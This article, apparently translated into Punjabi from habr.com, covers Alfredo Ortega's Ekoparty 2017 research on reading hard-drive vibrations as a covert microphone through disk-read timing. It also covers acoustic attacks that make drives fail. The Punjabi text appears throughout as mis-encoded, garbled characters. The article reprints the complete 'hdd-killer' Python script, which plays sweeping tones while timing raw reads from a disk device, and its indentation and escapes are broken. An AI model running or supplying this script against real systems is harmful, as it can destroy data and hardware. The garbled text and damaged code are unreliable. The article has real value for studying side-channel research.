
เจฌเจฟเจเจจเจธ เจเจเจฐเจธ เจตเจฟเฉฑเจ Ekoparty 2017 เจเฉฐเจชเจฟเจเจเจฐ เจธเฉเจฐเฉฑเจเจฟเจ เจเจพเจจเจซเจฐเฉฐเจธ เจตเจฟเฉฑเจ, เจ เจฐเจเจจเจเฉเจจเจพ เจฆเฉ เจนเฉเจเจฐ เจ เจฒเจซเจฐเฉเจกเฉ เจเจฐเจเฉเจเจพ เจจเฉ เจเฉฑเจ เจฌเจนเฉเจค เจนเฉ เจฆเจฟเจฒเจเจธเจช เจตเจฟเจเจพเจธ เจฆเจฟเจเจพเจเจ - เจเฉฑเจ เจฎเจพเจเจเฉเจฐเฉเจซเฉเจจ เจฆเฉ เจตเจฐเจคเฉเจ เจเฉเจคเฉ เจฌเจฟเจจเจพเจ เจชเจฐเจฟเจธเจฐ เจฆเฉ เจเฉเจชเจค เจตเจพเจเจฐเจเฉเจชเจฟเฉฐเจ เจฒเจ เจเฉฑเจ เจชเฉเจฐเจฃเจพเจฒเฉเฅค เจงเฉเจจเฉ !
HDD เจฎเฉเฉฑเจ เจคเฉเจฐ 'เจคเฉ เจเฉฑเจ-เจคเฉเจฌเจฐเจคเจพ เจตเจพเจฒเฉเจเจ เจเฉฑเจ-เจซเฉเจฐเฉเจเฉเจเจเจธเฉ เจเจตเจพเจเจผเจพเจ, เจชเฉเจฐเจพเจ เจฆเฉ เจเจฆเจฎ เจ
เจคเฉ เจนเฉเจฐ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจจเฉเฉฐ เจเฉเฉฑเจเจฆเจพ เจนเฉเฅค เจฎเจจเฉเฉฑเจเฉ เจฌเฉเจฒเฉ เจจเฉเฉฐ เจ
เจเฉ เจคเฉฑเจ เจชเจเจพเจฃเจฟเจ เจจเจนเฉเจ เจเจพ เจธเจเจฆเจพ, เจนเจพเจฒเจพเจเจเจฟ เจตเจฟเจเจฟเจเจจเฉ (เจเฉฑเจ เจซเฉเจฐเฉเจเฉเจเจเจธเฉ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจฆเฉเจเจฐเจพ เจฌเฉเจฒเฉ เจฆเฉ เจชเจเจพเจฃ, เจเฉ เจเจฟ เจฐเจฟเจเจพเจฐเจก เจเฉเจคเฉ เจเจพเจเจฆเฉ เจนเฉ, เจเจฆเจพเจนเจฐเจจ เจฒเจ, เจเจพเจเจฐเฉเจธเจเฉเจช เจเจพเจ HDD เจคเฉเจ)เฅค
เจงเฉเจจเฉ เจนเจตเจพ เจเจพเจ เจเจฟเจธเฉ เจนเฉเจฐ เจฎเจพเจงเจฟเจ
เจฎ เจฆเฉ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจ เจนเฉเฅค เจเฉฑเจ เจตเจฟเจ
เจเจคเฉ เจเจนเจจเจพเจ เจจเฉเฉฐ เจเฉฐเจจ เจฆเฉ เจชเจฐเจฆเฉ เจฐเจพเจนเฉเจ เจธเจฎเจเจฆเจพ เจนเฉ, เจเฉ เจ
เฉฐเจฆเจฐเจฒเฉ เจเฉฐเจจ เจคเฉฑเจ เจเฉฐเจฌเจฃเฉ เจธเฉฐเจเจพเจฐเจฟเจค เจเจฐเจฆเจพ เจนเฉเฅค เจฎเจพเจเจเฉเจฐเฉเจซเฉเจจ เจจเฉเฉฐ เจฎเฉเจเฉ เจคเฉเจฐ 'เจคเฉ เจเฉฑเจ เจเฉฐเจจ เจตเจพเจเจ เจกเจฟเจเจผเจพเจเจจ เจเฉเจคเจพ เจเจฟเจ เจนเฉ - เจเฉฑเจฅเฉ เจตเฉ, เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจจเฉเฉฐ เจเฉฑเจ เจชเจคเจฒเฉ เจเจฟเฉฑเจฒเฉ เจฆเฉเจเจฐเจพ เจฐเจฟเจเจพเจฐเจก เจเฉเจคเจพ เจเจพเจเจฆเจพ เจนเฉ, เจเฉ เจเฉฑเจ เจฌเจฟเจเจฒเจ เจชเฉเจฐเจญเจพเจต เจจเฉเฉฐ เจเจคเจธเจผเจพเจนเจฟเจค เจเจฐเจฆเจพ เจนเฉเฅค เจนเจพเจฐเจก เจกเจฐเจพเจเจต, เจฌเฉเจธเจผเฉฑเจ, เจเจฒเฉ เจฆเฉเจเจฒเฉ เจฆเฉ เจนเจตเจพ เจตเจฟเฉฑเจ เจเจคเจฐเจพเจ
-เจเฉเฉเจนเจพเจ
เจฆเฉ เจเจพเจฐเจจ เจฎเจพเจเจเฉเจฐเฉเจธเจเฉเจชเจฟเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจฆเฉ เจ
เจงเฉเจจ เจตเฉ เจนเฉเฅค เจเจน เจเจเจกเฉเจกเฉเจเจผ เจฆเฉเจเจ เจคเจเจจเฉเจเฉ เจตเจฟเจธเจผเฉเจธเจผเจคเจพเจตเจพเจ เจคเฉเจ เจตเฉ เจเจพเจฃเจฟเจ เจเจพเจเจฆเจพ เจนเฉ: เจจเจฟเจฐเจฎเจพเจคเจพ เจเจฎ เจคเฉเจฐ 'เจคเฉ เจตเฉฑเจง เจคเฉเจ เจตเฉฑเจง เจชเฉเจฐเจตเจพเจจเจฟเจค เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจ เจชเฉฑเจงเจฐ เจจเฉเฉฐ เจฆเจฐเจธเจพเจเจเจฆเฉ เจนเจจ, เจ
เจคเฉ เจนเจพเจฐเจก เจกเจฐเจพเจเจต เจ
เจเจธเจฐ เจเจธเจจเฉเฉฐ เจฐเจฌเฉ เจเจพเจ เจนเฉเจฐ เจเฉฐเจธเฉเจฒเฉเจเจฟเฉฐเจ เจธเจฎเฉฑเจเจฐเฉ เจฆเฉ เจฌเจฃเฉ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจ-เจชเฉเจฐเฉเจซ เจเฉฐเจเฉเจจเจฐ เจตเจฟเฉฑเจ เจฐเฉฑเจเจฃ เจฆเฉ เจเฉเจธเจผเจฟเจธเจผ เจเจฐเจฆเฉ เจนเฉเฅค เจเจธ เจคเฉเจ เจเจน เจธเจฟเฉฑเจเจพ เจเฉฑเจขเจฃเจพ เจเจธเจพเจจ เจนเฉ เจเจฟ เจเจเจกเฉเจกเฉ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจเฉ เจเจตเจพเจเจผเจพเจ เจจเฉเฉฐ เจฐเจฟเจเจพเจฐเจก เจเฉเจคเจพ เจเจพ เจธเจเจฆเจพ เจนเฉเฅค เจเจน เจธเจญ เจเฉเจ เจเจน เจชเจคเจพ เจฒเจเจพเจเจฃเจพ เจนเฉ เจเจฟ เจเจฟเจตเฉเจ.
เจ เจฒเจซเจฐเฉเจกเฉ เจเจฐเจเฉเจเจพ เจจเฉ เจธเจพเจเจก-เจเฉเจจเจฒ เจนเจฎเจฒเฉ เจฆเจพ เจเฉฑเจ เจตเจฟเจฒเฉฑเจเจฃ เจธเฉฐเจธเจเจฐเจฃ เจชเฉเจฐเจธเจคเจพเจตเจฟเจค เจเฉเจคเจพ, เจ เจฐเจฅเจพเจค เจเฉฑเจ เจธเจฎเฉเจ เจฆเจพ เจนเจฎเจฒเจพเฅค เจเจน เจนเจฎเจฒเจพ เจเจธ เจงเจพเจฐเจจเจพ 'เจคเฉ เจ เจงเจพเจฐเจค เจนเฉ เจเจฟ เจฆเจฟเฉฑเจคเฉ เจเจ เจเจจเจชเฉเจ เจกเฉเจเจพ 'เจคเฉ เจจเจฟเจฐเจญเจฐ เจเจฐเจฆเฉ เจนเฉเจ, เจตเฉฑเจ-เจตเฉฑเจ เจธเจฎเจฟเจเจ 'เจคเฉ เจกเจฟเจตเจพเจเจธ 'เจคเฉ เจตเฉฑเจ-เจตเฉฑเจ เจเจชเจฐเฉเจธเจผเจจ เจเฉเจคเฉ เจเจพเจเจฆเฉ เจนเจจเฅค เจเจธ เจธเจฅเจฟเจคเฉ เจตเจฟเฉฑเจ, "เจเจจเจชเฉเจ เจกเฉเจเจพ" เจฐเฉเจกเจฟเฉฐเจ เจนเฉเฉฑเจก เจ เจคเฉ เจเจเจกเฉเจกเฉ เจชเจฒเฉเจเจฐ เจฆเฉเจเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจนเจจ, เจเฉ เจเจฟ เจตเจพเจคเจพเจตเจฐเจฃ เจฆเฉเจเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจจเจพเจฒ เจธเจฌเฉฐเจงเจฟเจค เจนเจจ, เจฏเจพเจจเฉ เจเจตเจพเจเจผ เจจเจพเจฒเฅค เจเจธ เจคเจฐเฉเจนเจพเจ, เจเจฃเจจเจพ เจฆเฉ เจธเจฎเฉเจ เจจเฉเฉฐ เจฎเจพเจช เจเฉ เจ เจคเฉ เจกเฉเจเจพ เจฆเจพ เจ เฉฐเจเฉเจพ เจตเจฟเจธเจผเจฒเฉเจธเจผเจฃ เจเจฐเจจ เจฆเฉเจเจฐเจพ, เจธเจฟเจฐ/เจฅเจพเจฒเฉ เจฆเฉเจเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจ เจคเฉ เจเจธเจฒเจ เจฎเจพเจงเจฟเจ เจฎ เจฆเฉเจเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจจเฉเฉฐ เจฎเจพเจชเจฃเจพ เจธเฉฐเจญเจต เจนเฉเฅค เจกเจพเจเจพ เจชเฉเฉเจนเจจ เจตเจฟเฉฑเจ เจเจฟเฉฐเจจเฉ เจฆเฉเจฐเฉ เจนเฉเจตเฉเจเฉ, เจเจจเฉ เจนเฉ เจฎเจเจผเจฌเฉเจค โโHDD เจเฉฐเจฌเจฃเฉ เจ เจคเฉ, เจเจธเจฒเจ, เจเฉฑเจเฉ เจเจตเจพเจเจผเฅค
เจนเจพเจฐเจก เจกเจฐเจพเจเจต เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจ เจจเฉเฉฐ เจเจฟเจตเฉเจ เจฎเจพเจชเจฃเจพ เจนเฉ? เจฌเจนเฉเจค เจธเจงเจพเจฐเจจ: เจธเจฟเจฐเจซเจผ เจธเจฟเจธเจเจฎ เจเจพเจฒ เจเจฒเจพเจ read () - เจ
เจคเฉ เจเจธ เจจเฉเฉฐ เจชเฉเจฐเจพ เจเจฐเจจ เจตเจฟเฉฑเจ เจฒเฉฑเจเจฃ เจตเจพเจฒเฉ เจธเจฎเฉเจ เจจเฉเฉฐ เจฐเจฟเจเจพเจฐเจก เจเจฐเฉเฅค เจเจงเฉเจจเจฟเจ เจเจชเจฐเฉเจเจฟเฉฐเจ เจธเจฟเจธเจเจฎ เจคเฉเจนเจพเจจเฉเฉฐ เจจเฉเจจเฉ เจธเจเจฟเฉฐเจ เจธเจผเฉเฉฑเจงเจคเจพ เจจเจพเจฒ เจธเจฟเจธเจเจฎ เจเจพเจฒเจพเจ เจฆเฉ เจธเจฎเฉเจ เจจเฉเฉฐ เจชเฉเฉเจนเจจ เจฆเฉ เจเจเจพเจเจผเจค เจฆเจฟเฉฐเจฆเฉ เจนเจจเฅค
เจเจฟเจธเฉ เจธเฉเจเจเจฐ เจคเฉเจ เจเจพเจฃเจเจพเจฐเฉ เจจเฉเฉฐ เจชเฉเฉเจนเจจ เจฆเฉ เจเจคเฉ เจธเจฟเจฐ เจ เจคเฉ เจชเจฒเฉเจเจฐ เจฆเฉ เจธเจฅเจฟเจคเฉ 'เจคเฉ เจจเจฟเจฐเจญเจฐ เจเจฐเจฆเฉ เจนเฉ, เจเฉ เจเจฟ HDD เจเฉเจธ เจฆเฉเจเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจจเจพเจฒ เจธเจฌเฉฐเจงเจฟเจค เจนเฉเฅค เจเจน เจธเจญ เจนเฉ.
เจ เฉฐเจเฉเจพ เจตเจฟเจธเจผเจฒเฉเจธเจผเจฃ เจเฉฑเจ เจธเจงเจพเจฐเจจ Kscope เจเจชเจฏเฉเจเจคเจพ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจเฉ เจเฉเจคเจพ เจเจพเจเจฆเจพ เจนเฉเฅค เจเจฟเจตเฉเจ เจเจฟ เจเจน เจเจนเจฟเฉฐเจฆเฉ เจนเจจ, เจนเจฐ เจเฉเจเจผ เจธเจงเจพเจฐเจจ เจนเฉ.

Kscope เจเจชเจฏเฉเจเจคเจพ (stat() syscall)
Kscope เจธเจฟเจธเจเจฎ เจเจพเจฒ เจเจเจเจผเฉเจเจฟเจเจธเจผเจจ เจธเจฎเฉเจ เจตเจฟเฉฑเจ เจเฉเจเฉ เจ เฉฐเจคเจฐเจพเจ เจฆเฉ เจเจฒเจชเจจเจพ เจเจฐเจจ เจฒเจ เจเฉฑเจ เจเฉเจเฉ เจธเจนเฉเจฒเจค เจนเฉเฅค เจธเจฐเฉเจค.
เจเฉฑเจ เจตเฉฑเจเจฐเฉ เจฐเจฟเจชเฉเจเจผเจเจฐเฉ เจตเจฟเฉฑเจ เจนเจพเจฐเจก เจกเจฐเจพเจเจต 'เจคเฉ เจธเจฎเฉเจ เจฆเฉ เจนเจฎเจฒเฉ เจฒเจ เจธเฉฐเจฐเจเจฟเจค เจเจชเจฏเฉเจเจคเจพ เจฆเจพ เจเฉฑเจ เจธเฉฐเจธเจเจฐเจฃ เจนเฉ, เจเฉ เจเจฟ เจธเจฟเจธเจเจฎ เจเจพเจฒ เจฆเจพ เจตเจฟเจธเจผเจฒเฉเจธเจผเจฃ เจเจฐเจจ เจฒเจ เจเฉเจเจซเจฟเจเจฐ เจเฉเจคเจพ เจเจฟเจ เจนเฉ read ().
HDD เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจฆเฉ เจนเฉเจ เจงเฉเจจเฉ เจฐเจฟเจเจพเจฐเจกเจฟเฉฐเจ เจฆเจพ เจชเฉเจฐเจฆเจฐเจธเจผเจจ, Kscope เจเจชเจฏเฉเจเจคเจพ เจฆเจพ เจธเฉฐเจเจพเจฒเจจ

เจฌเฉเจธเจผเฉฑเจ, เจญเจพเจธเจผเจฃ เจจเฉเฉฐ เจเจธ เจคเจฐเฉเจเฉ เจจเจพเจฒ เจธเจฎเจเจฟเจ เจจเจนเฉเจ เจเจพ เจธเจเจฆเจพ เจนเฉ, เจชเจฐ HDD เจเฉฑเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจ เจธเฉเจเจธเจฐ เจฆเฉ เจฐเฉเจช เจตเจฟเฉฑเจ เจเจพเจซเจผเฉ เจขเฉเจเจตเจพเจ เจนเฉ. เจเจฆเจพเจนเจฐเจจ เจฒเจ, เจคเฉเจธเฉเจ เจฐเจเจฟเจธเจเจฐ เจเจฐ เจธเจเจฆเฉ เจนเฉ เจเฉเจเจฐ เจเฉเจ เจตเจฟเจ เจเจคเฉ เจธเจเจผเจค เจเฉเฉฑเจคเฉเจเจ เจชเจนเจฟเจจเฉ เจเจพเจ เจจเฉฐเจเฉ เจชเฉเจฐเฉเจ เจเฉฐเจชเจฟเจเจเจฐ เจตเจพเจฒเฉ เจเจฎเจฐเฉ เจตเจฟเฉฑเจ เจฆเจพเจเจฒ เจนเฉเจเจ เจนเฉเจตเฉ (เจธเจผเจพเจเจฆ, เจเฉเจเจฐ เจนเจฎเจฒเจพเจตเจฐ เจจเฉ เจจเจฐเจฎ เจธเจจเฉเจเจฐ เจชเจนเจฟเจจเฉ เจนเฉเจ เจนเจจ เจเจพเจ เจซเจฐเจธเจผ 'เจคเฉ เจเฉฑเจ เจฎเฉเจเจพ เจเจพเจฐเจชเฉเจ เจนเฉ, เจคเจพเจ HDD เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจจเฉเฉฐ เจฐเจเจฟเจธเจเจฐ เจเจฐเจจ เจฆเฉ เจฏเฉเจ เจจเจนเฉเจ เจนเฉเจตเฉเจเจพ - เจเจน เจเจพเจเจ เจเจฐเจจ เจฏเฉเจ เจนเฉ)เฅค เจเฉฐเจชเจฟเจเจเจฐ เจเฉเฉฑเจเฉ เจนเฉเจ เจธเจผเฉเจธเจผเฉ เจเจพเจ เจนเฉเจฐ เจเจเจจเจพเจตเจพเจ เจจเฉเฉฐ เจคเฉเจเจผ เจเจตเจพเจเจผ เจฆเฉ เจคเฉเจฌเจฐเจคเจพ เจจเจพเจฒ เจฆเจฐเจ เจเจฐเจจ เจฆเฉ เจฏเฉเจ เจนเฉเฅค เจญเจพเจต, เจนเจพเจฐเจก เจกเจฐเจพเจเจต เจเฉฑเจ เจเจฟเจธเจฎ เจฆเฉ เจ เจฃเจ เจงเจฟเจเจพเจฐเจค เจเฉเจธเจชเฉเจ เจเฉเจ เจชเฉเจฐเจฃเจพเจฒเฉ เจตเจเฉเจ เจเฉฐเจฎ เจเจฐ เจธเจเจฆเฉ เจนเฉเฅค
HDD เจเจพเจคเจฒ
เจเจคเจซเจพเจเจจ, เจนเจพเจฐเจก เจกเจฐเจพเจเจตเจพเจ เจจเฉเฉฐ เจ เจฏเฉเจ เจเจฐเจจ เจฒเจ เจเฉฑเจ เจธเจฎเจพเจจ เจคเจเจจเฉเจ เจฆเฉ เจตเจฐเจคเฉเจ เจเฉเจคเฉ เจเจพ เจธเจเจฆเฉ เจนเฉเฅค เจนเจพเจฒเจพเจเจเจฟ, เจเฉฑเจฅเฉ เจ เจธเฉเจ HDD เจคเฉเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจจเฉเฉฐ เจเฉเจชเจเจฐ เจจเจนเฉเจ เจเจฐเจฆเฉ, เจธเจเฉเจ เจเจนเจจเจพเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจจเฉเฉฐ เจชเฉเจฆเจพ เจเจฐเจฆเฉ เจนเจพเจ เจเฉ HDD เจจเฉเฉฐ เจซเฉเจก เจเฉเจคเฉเจเจ เจเจพเจเจฆเฉเจเจ เจนเจจเฅค เจเฉเจเจฐ เจคเฉเจธเฉเจ เจธเจชเฉเจเจฐ เจคเฉเจ เจเจกเฉเจ เจจเฉเฉฐ เจเฉฑเจ เจซเฉเจฐเฉเจเฉเจเจเจธเฉ 'เจคเฉ เจเจฒเจพเจเจเจฆเฉ เจนเฉ เจเฉ HDD เจฆเฉ เจซเฉเจฐเฉเจเฉเจเจเจธเฉ เจจเจพเจฒ เจเฉเฉฐเจเจฆเฉ เจนเฉ, เจคเจพเจ เจธเจฟเจธเจเจฎ เจเจฒเจฆเฉ เจนเฉ เจเฉฑเจ I/O เจเจฒเจคเฉ (เจเจฐเจจเจฒ) เจจเจพเจฒ เจกเจฟเจตเจพเจเจธ เจจเฉเฉฐ เจฌเฉฐเจฆ เจเจฐ เจฆเฉเจตเฉเจเจพเฅค Linux (เจเจน 120 เจธเจเจฟเฉฐเจเจพเจ เจฌเจพเจ เจฆ HDD เจจเฉเฉฐ เจชเฉเจฐเฉ เจคเจฐเฉเจนเจพเจ เจฌเฉฐเจฆ เจเจฐ เจฆเจฟเฉฐเจฆเจพ เจนเฉเฅค) เจนเจพเจฐเจก เจกเจฐเจพเจเจต เจเจชเจฃเฉ เจเจช เจตเจฟเฉฑเจ เจจเจพ-เจเจฒเจเจฃเจฏเฉเจ เจคเฉเจฐ 'เจคเฉ เจเจฐเจพเจฌ เจนเฉ เจธเจเจฆเฉ เจนเฉเฅค

เจเฉเจฐ Linux เจเจกเฉเจซเจพเจเจฐ r19u USB เจธเจชเฉเจเจฐ เจฐเจพเจนเฉเจ เจเฉเฉฐเจเจฆเฉ เจฌเจพเจฐเฉฐเจฌเจพเจฐเจคเจพ 'เจคเฉ 120 เจธเจเจฟเฉฐเจเจพเจ เจคเฉฑเจ เจเจตเจพเจเจผ เจตเจเจพเจเจฃ เจคเฉเจ เจฌเจพเจ
เจฆ เจนเจพเจฐเจก เจกเจฐเจพเจเจต เจฌเฉฐเจฆ เจนเฉ เจเจเฅค เจธเจชเฉเจเจฐ เจจเฉเฉฐ เจเจธเจฆเฉ เจชเจพเจตเจฐ เจฆเฉ เจฒเจเจญเจ เจเฉฑเจ เจเฉเจฅเจพเจ (100 เจฎเฉเจเจพเจตเจพเจ เจคเฉเจ เจเฉฑเจ) 'เจคเฉ เจเจพเจฒเฉ เจเฉเจคเจพ เจเจฟเจ เจธเฉ เจ
เจคเฉ HDD เจคเฉเจ 20 เจธเฉเจเจเฉเจฎเฉเจเจฐ เจฆเฉ เจฆเฉเจฐเฉ 'เจคเฉ เจฐเฉฑเจเจฟเจ เจเจฟเจ เจธเฉ, เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจ เจจเฉเฉฐ เจตเจงเจพเจเจฃ เจฒเจ เจฎเฉเจเจผ เจตเฉฑเจฒ เจเจธเจผเจพเจฐเจพ เจเฉเจคเจพ เจเจฟเจ เจธเฉเฅค เจ
เจเฉ เจตเฉ HDD เจเจพเจคเจฒ เจฆเฉ เจชเฉเจฐเจฆเจฐเจธเจผเจจ เจฆเฉ เจจเจพเจฒ
เจเจน เจเจคเจธเฉเจ เจนเฉ เจเจฟ เจเจเจกเฉเจกเฉ 'เจคเฉ เจ เจเจฟเจนเฉ "เจนเจฎเจฒเฉ" เจเจ เจตเจพเจฐเฉ เจฐเฉเจเจผเจพเจจเจพ เจเฉเจตเจจ เจตเจฟเฉฑเจ เจฆเฉเจฐเจเจเจจเจพ เจฆเฉเจเจฐเจพ เจชเฉเจฐเฉ เจคเจฐเฉเจนเจพเจ เจตเจพเจชเจฐเจฆเฉ เจนเจจเฅค เจเจฆเจพเจนเจฐเจจ เจฒเจ, เจธเจคเฉฐเจฌเจฐ 2016 เจตเจฟเฉฑเจ, ING เจฌเฉเจเจ เจกเฉเจเจพ เจธเฉเจเจเจฐ เจจเฉเฉฐ เจซเจพเจเจฐ เจกเจฐเจฟเฉฑเจฒ เจคเฉเจ เจฌเจพเจ เจฆ 10 เจเฉฐเจเจฟเจเจ เจฒเจ เจเฉฐเจฎเจเจพเจ เจจเฉเฉฐ เจฎเฉเจ เฉฑเจคเจฒ เจเจฐเจจ เจฒเจ เจฎเจเจฌเฉเจฐ เจเฉเจคเจพ เจเจฟเจ เจธเฉเฅค เจนเจพเจ เจชเฉเจฐเฉเจธเจผเจฐ เจนเฉเจ เจธเจฟเจฒเฉฐเจกเจฐ เจคเฉเจ เจจเจฟเจเจฒเจฃ เจตเจพเจฒเฉ เจเจจเจฐเจ เจเฉเจธ เจฆเฉ เจเฉฑเจเฉ เจเจตเจพเจเจผ เจเจพเจฐเจจเฅค เจเจตเจพเจเจผ เจฌเจนเฉเจค เจเฉฑเจเฉ เจธเฉ (130 dB เจคเฉเจ เจตเฉฑเจง), เจชเจฐ เจคเฉเจธเฉเจ เจนเจพเจฐเจก เจกเจฐเจพเจเจตเจพเจ 'เจคเฉ เจตเฉ เจฐเฉเจฒเจพ เจจเจนเฉเจ เจชเจพ เจธเจเจฆเฉ - เจเจน HDD เจคเฉฑเจ เจชเจนเฉเฉฐเจ เจเจฐเจจ เจตเจฟเฉฑเจ เจฆเฉเจฐเฉ เจจเฉเฉฐ เจตเจงเจพเจเจเจฆเจพ เจนเฉเฅค
เจเฉฑเจ เจกเจพเจเจพ เจธเฉเจเจเจฐ เจตเจฟเฉฑเจ เจนเจพเจฐเจก เจกเจฐเจพเจเจตเจพเจ 'เจคเฉ เจฎเจจเฉเฉฑเจเฉ เจเฉเจเจพเจ เจฆเจพ เจชเฉเจฐเจฆเจฐเจธเจผเจจเฅค เจฒเฉเจเฉเจเจธเฉ เจฎเจพเจช

เจเฉเฉฐเจเจฆเฉ เจเจตเจพเจเจผ เจชเฉเจฆเจพ เจเจฐเจจ เจฒเจ, เจ เจฒเจซเจฐเฉเจกเฉ เจเจฐเจเฉเจเจพ เจจเฉ เจชเจพเจเจฅเจจ เจธเจเฉเจฐเจฟเจชเจ เจฒเจฟเจเฉ ().
เจเจน เจเจพเจซเจผเฉ เจเฉเจเจพ เจนเฉ, เจเจธ เจฒเจ เจคเฉเจธเฉเจ เจเจธเจจเฉเฉฐ เจชเฉเจฐเฉ เจคเจฐเฉเจนเจพเจ เจเฉฑเจฅเฉ เจชเฉเจฐเจเจพเจธเจผเจฟเจค เจเจฐ เจธเจเจฆเฉ เจนเฉเฅค
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()เจธเจฐเฉเจค: www.habr.com
